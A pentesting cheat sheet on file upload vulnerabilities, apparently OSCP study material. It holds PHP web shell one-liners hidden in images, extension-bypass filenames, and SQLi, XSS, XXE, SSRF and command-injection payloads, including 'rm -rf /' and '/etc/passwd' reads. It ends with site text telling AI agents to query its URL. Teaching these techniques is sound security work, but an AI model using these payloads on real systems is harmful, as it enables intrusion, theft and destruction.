# File upload vulnerabilities

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

File upload vulnerabilities occur when a server allows users to upload files without proper validation, potentially letting attackers upload malicious content. This can lead to severe issues like remote code execution, where attackers run commands on the server, or denial of service by consuming resources.

## Bypass file extensions checks <a href="#bypass-file-extensions-checks" id="bypass-file-extensions-checks"></a>

* **PHP**: *.php*, *.php2*, *.php3*, .*php4*, .*php5*, .*php6*, .*php7*, .phps, .*pht*, .*phtm, .phtml*, .*pgif*, *.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module*
  * **Working in PHPv8**: *.php*, *.php4*, *.php5*, *.phtml*, *.module*, *.inc*, *.hphp*, *.ctp*
* **ASP**: *.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml*
* **Jsp:** *.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action*
* **Coldfusion:** *.cfm, .cfml, .cfc, .dbm*
* **Flash**: *.swf*
* **Perl**: *.pl, .cgi*
* **Erlang Yaws Web Server**: *.yaws*

### *Workflow*

1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: *pHp, .pHP5, .PhAr*&#x20;
2. *Check **adding a valid extension before** the execution extension (use previous extensions also):*
   * *file.png.php*
   * *file.png.Php5*
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (*Note that you can also try to use the **previously** motioned **extensions***)
   * *file.php%20*
   * *file.php%0a*
   * *file.php%00*
   * *file.php%0d%0a*
   * *file.php/*
   * *file.php.\\*
   * *file.*
   * *file.php....*
   * *file.pHp5....*
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. *You can also use the **previous extensions** to prepare a better payload.*
   * *file.png.php*
   * *file.png.pHp5*
   * *file.php#.png*
   * *file.php%00.png*
   * *file.php\x00.png*
   * *file.php%0a.png*
   * *file.php%0d%0a.png*
   * *file.phpJunk123png*
5. Add **another layer of extensions** to the previous check:
   * *file.png.jpg.php*
   * *file.php%00.png%00.jpg*
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* ***.php*****, but** not necessarily ending in .php\*\* will execute code):
   * *ex: file.php.png*
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php

   ```
   # Linux maximum 255 bytes
   /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
   Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
   # Upload the file and check response how many characters it alllows. Let's say 236
   python -c 'print "A" * 232'
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   # Make the payload
   AAA<--SNIP 232 A-->AAA.php.png
   ```

***

## Bypass Content-Type, Magic Number, Compression & Resizing <a href="#bypass-content-type-magic-number-compression--resizing" id="bypass-content-type-magic-number-compression--resizing"></a>

### **1. Bypassing Content-Type Checks**

Web applications often validate file uploads by checking the `Content-Type` header to ensure only specific file formats are allowed. However, this check is easily bypassed by modifying the `Content-Type` value in the request.

#### **How to bypass Content-Type checks:**

Simply set the `Content-Type` header to a commonly accepted value:

```http
httpCopyEditContent-Type: image/png  
Content-Type: text/plain  
Content-Type: application/octet-stream  
```

#### **Why does this work?**

Many applications rely on the `Content-Type` header to determine if an uploaded file is valid. However, this header is controlled by the client (browser or attacker), so it can be easily manipulated to fool the server into accepting unauthorized file types.

### **2. Bypassing Magic Number Checks**

Some applications inspect the file's **Magic Number** (the first few bytes of a file) to verify its actual type, regardless of the file extension. Attackers can bypass this by appending the correct Magic Number at the beginning of a malicious file.

#### **How to bypass Magic Number checks:**

**Method 1: Prepending a valid Magic Number**

You can insert the Magic Number of a valid image at the beginning of a malicious file to trick the server into accepting it as an image:

```bash
echo -ne "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" > fake.png  
cat shell.php >> fake.png  
```

**Explanation:**

* `\x89\x50\x4E\x47\x0D\x0A\x1A\x0A` → This is the Magic Number for a PNG file.
* `cat shell.php >> fake.png` → Appends a PHP shell to the image file.

**Method 2: Embedding a backdoor inside metadata**

Another approach is to hide a PHP shell inside the **metadata** of an image:

```bash
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg  
```

**Explanation:**

* The PHP shell is stored in the image’s metadata, making it harder to detect.
* The `__halt_compiler();` function stops PHP from interpreting the rest of the image file, ensuring only the backdoor code executes.

**Method 3: Directly injecting payload into an image**

Alternatively, you can append a PHP payload directly inside an image file:

```bash
echo '<?php system($_REQUEST["cmd"]); ?>' >> img.png  
```

**Explanation:**

* The `system($_REQUEST["cmd"]);` command executes any system command sent via HTTP request.
* The image remains valid, but when executed as a `.php` file, it runs the attacker's commands.

### **3. Bypassing Compression & Resizing Mechanisms**

Many web applications use **image compression and resizing** (e.g., via PHP-GD) to process uploaded images. These transformations can strip malicious code, rendering previous techniques ineffective. However, there are ways to bypass these modifications:

#### **Techniques to evade compression & resizing:**

1\) **PLTE chunk technique**

* This method leverages the `PLTE` chunk in PNG files, which remains intact after compression.
* Code can be hidden within this chunk and extracted later.

2\) **IDAT chunk technique**

* This technique embeds a payload inside the `IDAT` chunk of a PNG file, ensuring that the payload survives image resizing.

3\) **tEXt chunk technique**

* Some libraries, like `thumbnailImage()`, retain the `tEXt` chunk in PNG files.
* Attackers can inject malicious code into this chunk and retrieve it later for execution.

### **4. Other File Upload Tricks to Check**

In addition to bypassing validation mechanisms, attackers often exploit misconfigurations and system behaviors to escalate attacks. Here are some additional tricks to consider:

#### **4.1 Finding a way to rename the uploaded file**

* Some applications allow renaming an uploaded file, enabling attackers to change its extension to `.php` and execute it.

#### **4.2 Finding a Local File Inclusion (LFI) vulnerability**

* If an LFI vulnerability exists, an attacker can include their uploaded backdoor for execution:

```php
include("/uploads/shell.php");
```

#### **4.3 Exploiting filename-based vulnerabilities**

**Uploading a file multiple times with the same name**

* This can lead to **race conditions** or unintended file overwrites.

**Uploading files with directory traversal characters**

* Examples:
  * `.` → May overwrite existing files.
  * `..` → Could move files up a directory.
  * `…` → Can cause unexpected behaviors.

**Uploading files with special characters (Windows NTFS tricks)**

* Some filenames are restricted in Windows but may still be created by tricking the system:
  * `…:.jpg` → Creates a file that cannot be deleted easily.
  * `CON.jpg`, `PRN.txt`, `NUL.exe` → Reserved filenames that may cause unexpected behavior.

**Uploading executable files for social engineering**

* Uploading `.exe` or `.html` files disguised as images could trick users into executing malicious code when opened.

***

## From File Upload to Other Vulnerabilities

#### **1. Path Traversal via File Upload**

Set filename to `../../../tmp/lol.png`

**How it Works:**

* Path traversal (`../`) allows an attacker to **navigate outside of the intended upload directory**.
* If a web application doesn’t properly sanitize file paths, an attacker can **overwrite sensitive files** or **place files in unexpected locations**.
* Example payloads:

  ```bash
  ../../../etc/passwd
  ../../../var/www/html/shell.php
  ```

***

#### **2. SQL Injection via File Upload**

Set filename to `sleep(10)-- -.jpg`

**How it Works:**

* Some web apps **store filenames in a database**.
* If filenames are not **properly escaped**, SQL Injection may occur.
* Example payloads:

  ```sql
  ' OR 1=1; --
  sleep(10)--.jpg
  ' UNION SELECT null, username, password FROM users; -- .png
  ```

***

#### **3. XSS via File Upload (Filename-Based XSS)**

Set filename to `<svg onload=alert(document.domain)>`

**How it Works:**

* If an application **renders filenames inside HTML** without proper escaping, an attacker can execute JavaScript.
* The injected filename triggers an **XSS attack** when viewed in the browser.

***

#### [**Command Injection via File Upload**](https://www.verylazytech.com/pentesting-web/command-injection)

Set filename to `; sleep 10;`

**How it Works:**

* If an application **processes filenames in shell commands**, an attacker can inject OS commands.
* Example payloads:

  ```bash
  ; rm -rf / ;.jpg
  && whoami &&
  | cat /etc/passwd |
  ```

***

#### **5. XSS in Image Upload (SVG File Exploitation)**

Upload an SVG file containing JavaScript

**How it Works:**

* **SVG files** are XML-based and can contain embedded JavaScript.
* If the server allows SVG uploads and serves them **without proper security headers**, attackers can **execute JavaScript in the victim’s browser**.

***

#### **6. JS File Upload + XSS = Service Workers Exploitation**

Upload a JavaScript file and register a malicious **Service Worker**

**How it Works:**

* If an attacker can upload **a `.js` file**, they can **register a Service Worker** in the victim’s browser:

  ```js
  navigator.serviceWorker.register('/uploads/malicious.js');
  ```

***

#### **7. XXE Attack via SVG Upload**

Upload an SVG file containing a malicious XML entity

**How it Works:**

* If the application **parses XML without proper security settings**, attackers can perform **XXE attacks** to read system files.

**Example Payload (SVG with XXE):**

```xml
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>
    <text>&xxe;</text>
</svg>
```

***

#### **8. SSRF via Image URL Fetching**

If the server allows fetching images from external URLs, use it for **SSRF**.

**How it Works:**

* If the web app allows uploading images via URL (`fetch(https://evil.com/image.png)`), attackers can request **internal resources** like:

  ```
  http://localhost/admin
  http://169.254.169.254/latest/meta-data/
  ```

***

#### **9. XXE and CORS Bypass with PDF Uploads**

Uploading a specially crafted **PDF** to exploit **XXE or CORS misconfigurations**.

**How it Works:**

* Malicious PDFs can execute **JavaScript** or **leak data via CORS requests**.

***

#### **10. Uploading the EICAR File to Test Antivirus Detection**

Uploading the [EICAR test file](https://secure.eicar.org/eicar.com.txt)

**How it Works:**

* The **EICAR file** is a harmless string that **triggers antivirus alerts**.
* Uploading this file helps test if the server has **malware protection**.

***

{% hint style="success" %}
Learn & practice [**For the OSCP.**](https://shop.verylazytech.com)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/pentesting-web/file-upload-vulnerabilities.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
